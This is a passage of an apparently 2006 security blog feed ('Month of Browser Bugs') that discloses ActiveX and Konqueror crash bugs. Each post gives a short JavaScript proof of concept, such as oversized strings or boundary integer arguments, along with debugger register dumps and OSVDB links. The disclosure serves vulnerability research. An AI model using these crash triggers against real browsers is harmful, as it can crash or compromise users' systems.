/&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27372"&gt;Microsoft IE Forms Multiple Object ListWidth Property Integer Overflow&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115372432110216114?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115372432110216114/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115372432110216114' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115372432110216114'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115372432110216114'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-24-formslistbox1-listwidth.html' title='MoBB #24: Forms.ListBox.1 ListWidth'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115364310603111079</id><published>2006-07-23T01:22:00.000-07:00</published><updated>2006-07-23T01:25:06.273-07:00</updated><title type='text'>MoBB #23: NMSA.ASFSourceMediaDescription dispValue</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows 2000 SP4 system. Setting the dispValue property of this object to a long string triggers a stack overflow (not a buffer overflow).&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject('NMSA.ASFSourceMediaDescription.1');&lt;br /&gt;var b = 'XXXX';&lt;br /&gt;while (b.length &lt;= 1024) b += b;&lt;br /&gt;a.dispValue = b; &lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_023.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=027221f8 ebx=00000000 ecx=0019d198&lt;br /&gt;edx=00160dae esi=027221f8 edi=00000000&lt;br /&gt;eip=77a22395 esp=00032f78 ebp=00033180&lt;br /&gt;OLEAUT32!CTypeInfo2::VariantVtOfHtype+0x9:&lt;br /&gt;77a22395 56               push    esi&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27232"&gt;Microsoft IE NMSA.ASFSourceMediaDescription dispValue Stack Overflow&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115364310603111079?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115364310603111079/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115364310603111079' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115364310603111079'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115364310603111079'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-23-nmsaasfsourcemediadescription.html' title='MoBB #23: NMSA.ASFSourceMediaDescription dispValue'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115355035479147806</id><published>2006-07-21T23:36:00.000-07:00</published><updated>2006-07-21T23:39:35.896-07:00</updated><title type='text'>MoBB #22: Internet.HHCtrl Click</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. Calling the Click() method on this object, without first initializing the URL, will trigger a NULL dereference. This bug was submitted by Alex F.&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject("Internet.HHCtrl.1");&lt;br /&gt;a.Click();&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_022.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00000000 ebx=00000000 ecx=00000000&lt;br /&gt;edx=00000000 esi=0237bb68 edi=00000000&lt;br /&gt;eip=7db374c0 esp=0013a3d0 ebp=0013a3f0&lt;br /&gt;hhctrl!CHtmlHelpControl::GetCurrentUrl+0x3c:&lt;br /&gt;7db374c0 8b08             mov     ecx,[eax]         ds:0023:00000000=????????&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27231"&gt;Microsoft IE HTML Help COM Object Click Method NULL Dereference&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115355035479147806?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115355035479147806/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115355035479147806' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115355035479147806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115355035479147806'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-22-internethhctrl-click.html' title='MoBB #22: Internet.HHCtrl Click'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115346041429169708</id><published>2006-07-20T22:33:00.000-07:00</published><updated>2006-07-23T17:58:18.906-07:00</updated><title type='text'>MoBB #21: CEnroll stringToBinary</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. Calling the stringToBinary() function with a long string for the second parameter can result in an invalid memory access inside the SysAllocStringLen function. This bug is similar to &lt;a href='http://browserfun.blogspot.com/2006/07/mobb-8-rdsdatacontrol-url.html'&gt;MoBB #8&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject('CEnroll.CEnroll.2');&lt;br /&gt;var b = 'BOOM';&lt;br /&gt;while (b.length &lt;= 1024*1024) b+=b;&lt;br /&gt;a.stringToBinary(1, b);&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_021.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=03580024 ebx=00300000 ecx=0005fc08&lt;br /&gt;edx=00300000 esi=03571000 edi=03701004&lt;br /&gt;eip=77124ba4 esp=0013b200 ebp=0013b20c&lt;br /&gt;OLEAUT32!SysAllocStringLen+0x4f:&lt;br /&gt;77124ba4 f3a5            rep  movsd ds:03571000=???????? es:03701004=00000000&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27230"&gt;Microsoft IE CEnroll SysAllocStringLen Invalid Length&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115346041429169708?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115346041429169708/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115346041429169708' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115346041429169708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115346041429169708'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-21-cenroll-stringtobinary.html' title='MoBB #21: CEnroll stringToBinary'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115337305601854974</id><published>2006-07-19T22:22:00.000-07:00</published><updated>2006-07-21T11:44:46.063-07:00</updated><title type='text'>MoBB #20: OVCtl NewDefaultItem</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system and requires Outlook to be installed. Calling the NewDefaultItem() method triggers a NULL dereference. This bug was submitted by Alfredo Melloni.&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject('OVCtl.OVCtl.1');&lt;br /&gt;a.NewDefaultItem();&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_020.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00000000 ebx=00000800 ecx=0013b234&lt;br /&gt;edx=0013b200 esi=00000000 edi=357a3b58&lt;br /&gt;eip=357b07e3 esp=0013b1c4 ebp=0013b240 &lt;br /&gt;OUTLCTL!DllUnregisterServer+0x3678:&lt;br /&gt;357b07e3 8b08             mov     ecx,[eax]         ds:0023:00000000=????????&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27112"&gt;Microsoft IE OVCtl NewDefaultItem Method NULL Dereference&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115337305601854974?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115337305601854974/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115337305601854974' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115337305601854974'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115337305601854974'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-20-ovctl-newdefaultitem.html' title='MoBB #20: OVCtl NewDefaultItem'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115329357332532153</id><published>2006-07-19T00:15:00.000-07:00</published><updated>2006-07-19T23:01:22.333-07:00</updated><title type='text'>MoBB #19: DataSourceControl getDataMemberName</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system and requires Office 2003 to be installed (older versions of this control have not been tested). Calling the getDataMemberName() method with a negative large integer value results in an integer overflow and a NULL dereference.&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject('OWC11.DataSourceControl.11');&lt;br /&gt;a.getDataMemberName(-0x80000000);&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_019.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=0000001c ebx=025d15a8 ecx=0000001c&lt;br /&gt;edx=387d0e24 esi=0013b234 edi=0013b204&lt;br /&gt;eip=3878cfac esp=0013b1fc ebp=0013b228&lt;br /&gt;OWC11!DllGetClassObject+0x5a3e4:&lt;br /&gt;3878cfac 8b01             mov     eax,[ecx]         ds:0023:0000001c=????????&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27111"&gt;Microsoft IE OWC11.DataSourceControl getDataMemberName Method Integer Overflow&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115329357332532153?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115329357332532153/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115329357332532153' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115329357332532153'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115329357332532153'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-19-datasourcecontrol.html' title='MoBB #19: DataSourceControl getDataMemberName'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115323716976548496</id><published>2006-07-18T08:39:00.000-07:00</published><updated>2007-02-07T03:16:59.283-08:00</updated><title type='text'>MoBB #18: WebViewFolderIcon setSlice</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. Calling the setSlice() method with the first argument set to 0x7fffffff triggers an invalid memory copy.&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');&lt;br /&gt;a.setSlice(0x7fffffff, 0, 0x41424344, 0);&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_018.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00000010 ebx=001e4940 ecx=00000004&lt;br /&gt;edx=7c97c0d8 esi=0013b188 edi=fffffff0&lt;br /&gt;eip=773e0ba3 esp=0013b14c ebp=0013b158&lt;br /&gt;comctl32!DSA_SetItem+0x60:&lt;br /&gt;773e0ba3 f3a5            rep  movsd ds:0013b188=41424344 es:fffffff0=????????&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27110"&gt;Microsoft IE WebViewFolderIcon setSlice Integer Overflow&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115323716976548496?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115323716976548496/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115323716976548496' title='19 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115323716976548496'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115323716976548496'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html' title='MoBB #18: WebViewFolderIcon setSlice'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>19</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115311816187200484</id><published>2006-07-16T23:32:00.000-07:00</published><updated>2006-07-18T18:24:39.253-07:00</updated><title type='text'>MoBB #17: Gradient StartColorStr</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. Setting the StartColorStr or EndColorStr properties to a large value leads to a stack overflow exception (not a buffer overflow).&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject('DXImageTransform.Microsoft.Gradient.1');&lt;br /&gt;var b = 'XXXX';&lt;br /&gt;while (b.length &lt;= (1024*1024)) b += b;&lt;br /&gt;a.StartColorStr = b;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_017.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00007004 ebx=00100001 ecx=0004215c&lt;br /&gt;edx=0013b1ac esi=03b00024 edi=00000000&lt;br /&gt;eip=6be11a16 esp=0013b154 ebp=0013b190&lt;br /&gt;dxtmsft!_chkstk+0x25:&lt;br /&gt;6be11a16 8501             test    [ecx],eax         ds:0023:0004215c=00000000&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27109"&gt;Microsoft IE DXImageTransform.Microsoft.Gradient Multiple Property Stack Overflow&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115311816187200484?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115311816187200484/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115311816187200484' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115311816187200484'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115311816187200484'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-17-gradient-startcolorstr.html' title='MoBB #17: Gradient StartColorStr'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115303798641533176</id><published>2006-07-16T01:18:00.000-07:00</published><updated>2006-07-17T07:53:17.776-07:00</updated><title type='text'>MoBB #16: MHTMLFile Location</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. Setting the location or URL property triggers a NULL dereference. Thanks to 'sniper' for the submission.&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject('mhtmlfile');&lt;br /&gt;a.location = "http://browserfun.blogspot.com";&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_016.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00000000 ebx=00000001 ecx=0000ae80&lt;br /&gt;edx=0020540c esi=019c2420 edi=00000000&lt;br /&gt;eip=7dcd113e esp=00139048 ebp=0013b074 &lt;br /&gt;mshtml!COmWindowProxy::CanNavigateToUrlWithZoneCheck+0x9b:&lt;br /&gt;7dcd113e 80783e00         cmp     byte ptr [eax+0x3e],0x0 ds:0023:0000003e=??&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27108"&gt;Microsoft IE MHTMLFile Multiple Property NULL Dereference&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115303798641533176?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115303798641533176/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115303798641533176' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115303798641533176'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115303798641533176'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-16-mhtmlfile-location.html' title='MoBB #16: MHTMLFile Location'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115293871009586670</id><published>2006-07-14T21:41:00.000-07:00</published><updated>2006-07-20T03:36:39.073-07:00</updated><title type='text'>MoBB #15: FolderItem Access</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. Accessing the object reference of this control triggers a NULL dereference in the security check :-)&lt;br /&gt;&lt;br /&gt;&amp;lt;object id="target" classid="clsid:FEF10FA2-355E-4e06-9381-9B24D7F7CC88"&amp;gt;&lt;br /&gt;&amp;lt;/object&amp;gt;&lt;br /&gt;&lt;br /&gt;var a = document.getElementById('target');&lt;br /&gt;alert(a.object);&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_015.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=0000eb6c ebx=00000000 ecx=00000000&lt;br /&gt;edx=09105b62 esi=0013b1ac edi=03cec120&lt;br /&gt;eip=7cb86ce4 esp=0013aee4 ebp=0013b184&lt;br /&gt;SHELL32!CFolder::_SecurityCheck:&lt;br /&gt;7cb86ce4 83790c00       cmp dword ptr [ecx+0xc],0x0 ds:0023:0000000c=????????&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27059"&gt;Microsoft IE FolderItem Object  NULL Dereference&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115293871009586670?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115293871009586670/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115293871009586670' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115293871009586670'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115293871009586670'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-15-folderitem-access.html' title='MoBB #15: FolderItem Access'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115286172446427113</id><published>2006-07-14T00:19:00.000-07:00</published><updated>2006-07-21T07:14:08.293-07:00</updated><title type='text'>MoBB #14: Konqueror replaceChild()</title><content type='html'>The following bug was tested on KDE 3.5.1 on a current Gentoo Linux system. Calling the replaceChild() method on almost any DOM element can result in a NULL dereference.&lt;br /&gt;&lt;br /&gt;document.replaceChild(0);&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_014.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;[Switching to Thread -1231504512 (LWP 11418)]&lt;br /&gt;0xb6552ca0 in DOM::Node::replaceChild () from /usr/kde/3.5/lib/libkhtml.so.4&lt;br /&gt;(gdb) display /i $pc&lt;br /&gt;1: x/i $pc  0xb6552ca0 &lt;_ZN3DOM4Node12replaceChildERKS0_S2_+110&gt;:       testb  $0x8,0x22(%edx)&lt;br /&gt;(gdb) i r $edx&lt;br /&gt;edx            0x0      0&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27058"&gt;KDE Konqueror replaceChild() NULL Dereference&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115286172446427113?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115286172446427113/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115286172446427113' title='16 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115286172446427113'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115286172446427113'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-14-konqueror-replacechild.html' title='MoBB #14: Konqueror replaceChild()'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>16</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115277016059306110</id><published>2006-07-12T22:53:00.000-07:00</published><updated>2006-07-14T17:38:55.596-07:00</updated><title type='text'>MoBB #13: RevealTrans Transition</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. Setting the Transition property of this object triggers a NULL dereference.&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject('DXImageTransform.Microsoft.RevealTrans.1');&lt;br /&gt;a.Transition = 1;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_013.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00000000 ebx=00000000 ecx=35cde0c4&lt;br /&gt;edx=00174972 esi=02d701d8 edi=00000001&lt;br /&gt;eip=35cde0fe esp=0012b240 ebp=0012b25c&lt;br /&gt;dxtmsft!CDXTRevealTrans::put_Transition+0x3a:&lt;br /&gt;35cde0fe 8b08             mov     ecx,[eax]         ds:0023:00000000=????????&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27057"&gt;Microsoft IE DXImageTransform.Microsoft.RevealTrans Transition Property NULL Dereference&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115277016059306110?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115277016059306110/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115277016059306110' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115277016059306110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115277016059306110'/><link rel='alternate' type='text/html' href='http://browserfun.blogspot.com/2006/07/mobb-13-revealtrans-transition.html' title='MoBB #13: RevealTrans Transition'/><author><name>hdm</name><uri>http://www.blogger.com/profile/02163635320992069812</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30557436.post-115268210676338599</id><published>2006-07-11T22:26:00.000-07:00</published><updated>2006-07-14T17:40:41.820-07:00</updated><title type='text'>MoBB #12: TriEditDocument URL</title><content type='html'>The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. Setting the URL property of this object triggers a NULL dereference.&lt;br /&gt;&lt;br /&gt;var a = new ActiveXObject('TriEditDocument.TriEditDocument');&lt;br /&gt;a.URL = "Boom!";&lt;br /&gt;&lt;br /&gt;&lt;a href="http://metasploit.com/users/hdm/tools/browserfun/mobb_012.html" target="_new"&gt;Demonstration&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;eax=00000000 ebx=00000001 ecx=000076b6&lt;br /&gt;edx=018f486c esi=018f3c10 edi=00000000&lt;br /&gt;eip=7dcd113e esp=00137034 ebp=00139060&lt;br /&gt;mshtml!COmWindowProxy::CanNavigateToUrlWithZoneCheck+0x9b:&lt;br /&gt;7dcd113e 80783e00         cmp     byte ptr [eax+0x3e],0x0 ds:0023:0000003e=??&lt;br /&gt;&lt;br /&gt;This bug will be added to the OSVDB:&lt;br /&gt;&lt;a href="http://osvdb.org/27056"&gt;Microsoft IE TriEditDocument URL Property NULL Dereference&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30557436-115268210676338599?l=browserfun.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://browserfun.blogspot.com/feeds/115268210676338599/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30557436&amp;postID=115268210676338599' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115268210676338599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30557436/posts/default/115268210676338599'/><link rel='alternate' type='text/html' 